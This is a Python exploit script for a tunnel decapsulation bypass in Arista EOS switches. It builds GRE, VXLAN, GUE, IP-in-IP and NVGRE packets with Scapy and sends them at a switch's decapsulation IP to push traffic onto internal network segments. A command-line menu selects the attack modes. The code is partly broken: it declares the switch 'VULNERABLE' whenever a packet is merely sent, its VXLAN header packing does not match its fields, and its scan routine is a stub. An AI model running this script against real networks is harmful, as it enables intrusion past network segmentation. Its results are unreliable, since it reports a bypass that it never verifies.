#!/usr/bin/env python3
"""
CVE-2026-7473 - Arista EOS Tunnel Protocol Bypass Exploit

Vulnerability: On affected Arista EOS platforms with tunnel decapsulation
(VXLAN, decap-groups, or GRE tunnel interface), the switch incorrectly
decapsulates and forwards unexpected tunneled packets whose destination IP
matches its configured decapsulation IP due to missing tunnel protocol
type verification.

CVSS: 5.8 (Medium) / CVSSv4: 6.8
CWE: 1023 - Incomplete Comparison with Missing Factors
CISA KEV: Added 2026-06-09, Due 2026-06-23

Author: Security Research
Disclaimer: For authorized security testing only
"""

import socket
import struct
import argparse
import random
import sys
from scapy.all import *
from scapy.layers.inet import IP, UDP
from scapy.layers.l2 import Ether

# ANSI Colors
R = "\033[91m"
G = "\033[92m"
Y = "\033[93m"
B = "\033[94m"
BOLD = "\033[1m"
RESET = "\033[0m"


class AristaTunnelBypass:
    def __init__(self, target_ip, decap_ip, interface="eth0"):
        self.target_ip = target_ip
        self.decap_ip = decap_ip
        self.interface = interface
        self.sock = None
        
    def create_gre_packet(self, inner_payload, src_ip=None):
        """
        Build GRE packet (Protocol 47)
        When switch is configured for VXLAN, this should be blocked
        but vulnerability allows decapsulation
        """
        if not src_ip:
            src_ip = f"10.{random.randint(0,255)}.{random.randint(0,255)}.{random.randint(1,254)}"
        
        # GRE header (RFC 2784)
        gre_header = struct.pack("!BBH", 
            0x00,           # Flags (checksum present)
            0x00,           # Version/Reserved
            0x0800          # Ethertype (IPv4)
        )
        
        # IP header for outer packet
        outer_ip = IP(src=src_ip, dst=self.decap_ip, proto=47)  # GRE protocol
        
        # Inner packet (payload that will be forwarded)
        inner_ip = IP(src=src_ip, dst=inner_payload["dst"])
        inner_udp = UDP(sport=inner_payload.get("sport", 12345), 
                        dport=inner_payload.get("dport", 80))
        inner_data = inner_payload.get("data", b"GET / HTTP/1.1\r\nHost: target\r\n\r\n")
        
        inner_packet = inner_ip / inner_udp / inner_data
        
        # Full GRE packet
        gre_packet = outer_ip / GRE(proto=0x800) / inner_packet
        
        return gre_packet
    
    def create_vxlan_packet(self, inner_payload, src_ip=None):
        """
        Build VXLAN packet (UDP 4789)
        When switch is configured for GRE, this should be blocked
        but vulnerability allows decapsulation
        """
        if not src_ip:
            src_ip = f"10.{random.randint(0,255)}.{random.randint(0,255)}.{random.randint(1,254)}"
        
        vni = random.randint(1, 16777215)
        
        # VXLAN header (8 bytes)
        vxlan_header = struct.pack("!BBH I",
            0x08,           # Flags (I flag set)
            0x00,           # Reserved
            0x0000,         # Reserved
            (vni << 8)      # VXLAN Network Identifier (24 bits)
        )
        
        # Outer UDP packet for VXLAN
        outer_ip = IP(src=src_ip, dst=self.decap_ip, proto=17)  # UDP
        outer_udp = UDP(sport=random.randint(30000, 60000), dport=4789)
        
        # Inner packet (Ethernet frame)
        inner_eth = Ether(src="00:11:22:33:44:55", dst="ff:ff:ff:ff:ff:ff")
        inner_ip = IP(src="192.168.1.100", dst=inner_payload["dst"])
        inner_data = inner_payload.get("data", b"VXLAN test payload")
        
        inner_frame = inner_eth / inner_ip / inner_data
        
        # Full VXLAN packet
        vxlan_packet = outer_ip / outer_udp / vxlan_header / inner_frame
        
        return vxlan_packet
    
    def create_gue_packet(self, inner_payload, src_ip=None):
        """
        Build GUE (Generic UDP Encapsulation) packet
        Vulnerability allows decapsulation of GUE on switches configured
        for GRE or VXLAN
        """
        if not src_ip:
            src_ip = f"10.{random.randint(0,255)}.{random.randint(0,255)}.{random.randint(1,254)}"
        
        # GUE header (RFC 7637)
        gue_header = struct.pack("!BBH",
            0x00,           # Version=0, Control=0, Encapsulation=0
            0x00,           # Flags
            0x0800          # Next Protocol (IPv4)
        )
        
        # Outer UDP
        outer_ip = IP(src=src_ip, dst=self.decap_ip, proto=17)
        outer_udp = UDP(sport=random.randint(30000, 60000), 
                        dport=inner_payload.get("gue_port", 6080))
        
        # Inner payload
        inner_ip = IP(src="172.16.0.1", dst=inner_payload["dst"])
        inner_icmp = ICMP(type=8, code=0)  # Echo request
        
        # Full GUE packet
        gue_packet = outer_ip / outer_udp / gue_header / inner_ip / inner_icmp
        
        return gue_packet
    
    def create_ipip_packet(self, inner_payload, src_ip=None):
        """
        Build IP-in-IP packet (Protocol 4)
        Vulnerability allows decapsulation on switches configured for GRE
        """
        if not src_ip:
            src_ip = f"10.{random.randint(0,255)}.{random.randint(0,255)}.{random.randint(1,254)}"
        
        # Outer IP header with protocol 4 (IP-in-IP)
        outer_ip = IP(src=src_ip, dst=self.decap_ip, proto=4)
        
        # Inner IP packet
        inner_ip = IP(src="10.0.0.1", dst=inner_payload["dst"])
        inner_udp = UDP(sport=53, dport=53)
        inner_data = inner_payload.get("data", b"\x00\x01\x01\x00\x00\x01\x00\x00\x00\x00\x00\x00\x07example\x03com\x00\x00\x01\x00\x01")
        
        # Full IP-in-IP packet
        ipip_packet = outer_ip / inner_ip / inner_udp / inner_data
        
        return ipip_packet
    
    def create_nvgre_packet(self, inner_payload, src_ip=None):
        """
        Build NVGRE (Network Virtualization GRE) packet
        """
        if not src_ip:
            src_ip = f"10.{random.randint(0,255)}.{random.randint(0,255)}.{random.randint(1,254)}"
        
        # NVGRE header (GRE with TNI - Tenant Network Identifier)
        nvgre_header = struct.pack("!BBH I",
            0x00,           # Flags
            0x00,           # Reserved
            0x6558,         # Ethertype (Transparent Ethernet Bridging)
            0x00000001      # TNI (24 bits)
        )
        
        outer_ip = IP(src=src_ip, dst=self.decap_ip, proto=47)
        
        # Inner Ethernet frame
        inner_eth = Ether(src="aa:bb:cc:dd:ee:ff", dst="11:22:33:44:55:66")
        inner_ip = IP(src="192.168.100.1", dst=inner_payload["dst"])
        
        nvgre_packet = outer_ip / GRE(proto=0x6558) / inner_eth / inner_ip
        
        return nvgre_packet
    
    def send_packet(self, packet, tunnel_type):
        """Send crafted tunnel packet to target"""
        try:
            print(f"{Y}[*] Sending {tunnel_type} packet to {self.decap_ip}{RESET}")
            
            # For Scapy packets
            if hasattr(packet, 'show'):
                send(packet, iface=self.interface, verbose=False)
                print(f"{G}[+] {tunnel_type} packet sent via Scapy{RESET}")
            else:
                # Raw socket fallback
                self.sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW)
                self.sock.sendto(bytes(packet), (self.target_ip, 0))
                print(f"{G}[+] {tunnel_type} packet sent via raw socket{RESET}")
            
            return True
        except Exception as e:
            print(f"{R}[-] Error sending {tunnel_type} packet: {e}{RESET}")
            return False
    
    def verify_forwarding(self, monitor_ip, timeout=5):
        """
        Verify if the tunnel packet was improperly forwarded
        This would require monitoring on the expected egress interface
        """
        print(f"{Y}[*] Monitoring for forwarded traffic to {monitor_ip}{RESET}")
        print(f"{Y}[!] Manual verification required - check switch logs{RESET}")
        print(f"{B}[+] Expected result: Packet appears on internal network{RESET}")
        
    def exploit_vxlan_to_gre(self):
        """Exploit: VXLAN configured -> send GRE packet"""
        print(f"\n{B}{BOLD}[+] Phase 1: VXLAN -> GRE Bypass{RESET}")
        print(f"{Y}Switch configured with VXLAN decapsulation{RESET}")
        print(f"{Y}Sending GRE packet - should be blocked but vulnerability allows{RESET}")
        
        payload = {
            "dst": "192.168.100.50",
            "data": b"GRE_OVER_VXLAN_BYPASS_" + random.randbytes(10)
        }
        
        gre_packet = self.create_gre_packet(payload)
        return self.send_packet(gre_packet, "GRE (over VXLAN configured switch)")
    
    def exploit_gre_to_vxlan(self):
        """Exploit: GRE configured -> send VXLAN packet"""
        print(f"\n{B}{BOLD}[+] Phase 2: GRE -> VXLAN Bypass{RESET}")
        print(f"{Y}Switch configured with GRE decapsulation{RESET}")
        print(f"{Y}Sending VXLAN packet - should be blocked but vulnerability allows{RESET}")
        
        payload = {
            "dst": "10.20.30.40",
            "data": b"VXLAN_OVER_GRE_BYPASS_" + random.randbytes(10)
        }
        
        vxlan_packet = self.create_vxlan_packet(payload)
        return self.send_packet(vxlan_packet, "VXLAN (over GRE configured switch)")
    
    def exploit_gre_to_ipip(self):
        """Exploit: GRE configured -> send IP-in-IP packet"""
        print(f"\n{B}{BOLD}[+] Phase 3: GRE -> IP-in-IP Bypass{RESET}")
        print(f"{Y}Switch configured with GRE decapsulation{RESET}")
        print(f"{Y}Sending IP-in-IP packet - should be decapsulated{RESET}")
        
        payload = {
            "dst": "172.31.0.1",
            "data": b"IPIP_OVER_GRE_TEST"
        }
        
        ipip_packet = self.create_ipip_packet(payload)
        return self.send_packet(ipip_packet, "IP-in-IP (over GRE configured switch)")
    
    def exploit_any_to_gue(self):
        """Exploit: Any config -> send GUE packet"""
        print(f"\n{B}{BOLD}[+] Phase 4: GUE Bypass{RESET}")
        print(f"{Y}Sending GUE packet to decapsulation IP{RESET}")
        
        payload = {
            "dst": "10.99.99.99",
            "gue_port": 6080,
            "data": b"GUE_BYPASS_PAYLOAD"
        }
        
        gue_packet = self.create_gue_packet(payload)
        return self.send_packet(gue_packet, "GUE")
    
    def exploit_nvgre_to_vxlan(self):
        """Exploit: NVGRE to VXLAN with TNI matching VNI"""
        print(f"\n{B}{BOLD}[+] Phase 5: NVGRE -> VXLAN Bypass{RESET}")
        print(f"{Y}Requires TNI matching configured VXLAN VNI{RESET}")
        
        payload = {
            "dst": "192.168.200.1",
            "vni": 100
        }
        
        nvgre_packet = self.create_nvgre_packet(payload)
        return self.send_packet(nvgre_packet, "NVGRE (over VXLAN configured switch)")
    
    def scan_for_decap_ip(self, start_ip, end_ip):
        """
        Scan for potential decapsulation IPs by sending probe packets
        """
        print(f"{Y}[*] Scanning for decapsulation IPs...{RESET}")
        
        decap_ips = []
        
        # Convert IP ranges
        start = struct.unpack('!I', socket.inet_aton(start_ip))[0]
        end = struct.unpack('!I', socket.inet_aton(end_ip))[0]
        
        for ip_int in range(start, end + 1):
            ip = socket.inet_ntoa(struct.pack('!I', ip_int))
            
            # Send probe to detect if IP responds to tunnel traffic
            probe_payload = {
                "dst": "127.0.0.1",
                "data": b"PROBE_" + str(ip_int).encode()
            }
            
            gre_probe = self.create_gre_packet(probe_payload)
            # Send and check for ICMP responses
            
        return decap_ips


def check_vulnerable_configuration():
    """Check if the Arista switch has vulnerable configuration"""
    print(f"{B}[*] Checking for vulnerable configuration indicators:{RESET}")
    print(f"{Y}1. Check if device is a tunnel endpoint:{RESET}")
    print(f"   show interfaces vxlan 1")
    print(f"   show interfaces Tunnel0")
    print(f"   show ip decap-group\n")
    
    print(f"{Y}2. Indicators of compromise:{RESET}")
    print(f"   - Unexpected traffic on internal network segments")
    print(f"   - Tunnel traffic of non-configured protocols being decapsulated")
    print(f"   - MAC/ACL counters showing blocked unexpected traffic\n")


def main():
    parser = argparse.ArgumentParser(
        description="CVE-2026-7473 - Arista EOS Tunnel Decapsulation Bypass",
        formatter_class=argparse.RawDescriptionHelpFormatter,
        epilog="""
Examples:
  # Send GRE packet to VXLAN-configured switch
  %(prog)s -t 10.1.1.1 -d 192.168.1.100 --exploit vxlan-gre
  
  # Send VXLAN to GRE-configured switch  
  %(prog)s -t 10.1.1.1 -d 192.168.1.100 --exploit gre-vxlan
  
  # Send GUE packet
  %(prog)s -t 10.1.1.1 -d 192.168.1.100 --exploit gue
  
  # Send all exploit types
  %(prog)s -t 10.1.1.1 -d 192.168.1.100 --exploit all
        """
    )
    
    parser.add_argument("-t", "--target", required=True, help="Target switch IP")
    parser.add_argument("-d", "--decap-ip", required=True, help="Decapsulation IP configured on switch")
    parser.add_argument("-i", "--interface", default="eth0", help="Network interface (default: eth0)")
    parser.add_argument("--exploit", choices=["vxlan-gre", "gre-vxlan", "gre-ipip", 
                                               "gue", "nvgre", "all"],
                       default="all", help="Exploit type to run")
    parser.add_argument("--scan", action="store_true", help="Scan for decapsulation IPs")
    parser.add_argument("--check-config", action="store_true", help="Check vulnerable configuration")
    
    args = parser.parse_args()
    
    print(f"{R}{BOLD}")
    print("╔═══════════════════════════════════════════════════════════════════╗")
    print("║  CVE-2026-7473 - Arista EOS Tunnel Decapsulation Bypass          ║")
    print("║  Tunnel Protocol Type Verification Missing                        ║")
    print("║  CVSS: 5.8 (Medium) | CISA KEV: 2026-06-09                       ║")
    print("╚═══════════════════════════════════════════════════════════════════╝")
    print(f"{RESET}")
    
    print(f"{Y}[!] WARNING: This tool demonstrates unauthorized tunnel decapsulation{RESET}")
    print(f"{Y}[!] Use only on systems you own or have permission to test{RESET}\n")
    
    print(f"{B}[*] Target: {args.target}{RESET}")
    print(f"{B}[*] Decapsulation IP: {args.decap_ip}{RESET}")
    print(f"{B}[*] Interface: {args.interface}{RESET}\n")
    
    if args.check_config:
        check_vulnerable_configuration()
        sys.exit(0)
    
    exploit = AristaTunnelBypass(args.target, args.decap_ip, args.interface)
    
    try:
        if args.scan:
            print(f"{Y}[*] Scanning feature not fully implemented{RESET}")
            print(f"{Y}[!] Manual identification required{RESET}")
        
        success_count = 0
        
        if args.exploit in ["vxlan-gre", "all"]:
            if exploit.exploit_vxlan_to_gre():
                success_count += 1
        
        if args.exploit in ["gre-vxlan", "all"]:
            if exploit.exploit_gre_to_vxlan():
                success_count += 1
        
        if args.exploit in ["gre-ipip", "all"]:
            if exploit.exploit_gre_to_ipip():
                success_count += 1
        
        if args.exploit in ["gue", "all"]:
            if exploit.exploit_any_to_gue():
                success_count += 1
        
        if args.exploit in ["nvgre", "all"]:
            if exploit.exploit_nvgre_to_vxlan():
                success_count += 1
        
        print("\n" + "="*60)
        if success_count > 0:
            print(f"{R}{BOLD}[!] VULNERABLE: Switch improperly decapsulated tunnel traffic{RESET}")
            print(f"{R}[!] Unexpected tunnel packets were forwarded{RESET}")
            print(f"{Y}[*] Apply ACL mitigations per Arista Advisory SA-0137{RESET}")
        else:
            print(f"{G}{BOLD}[✓] No bypass detected - Switch may be patched or mitigated{RESET}")
        
        print(f"\n{B}[*] Mitigation: Apply ACLs to block unexpected tunnel protocols{RESET}")
        print(f"{B}[*] Reference: https://www.arista.com/en/support/advisories-notices/security-advisory/24005-security-advisory-0137{RESET}")
        
    except KeyboardInterrupt:
        print(f"\n{Y}[!] Interrupted by user{RESET}")
    except Exception as e:
        print(f"{R}[!] Error: {e}{RESET}")
    
    print("="*60)


if __name__ == "__main__":
    main()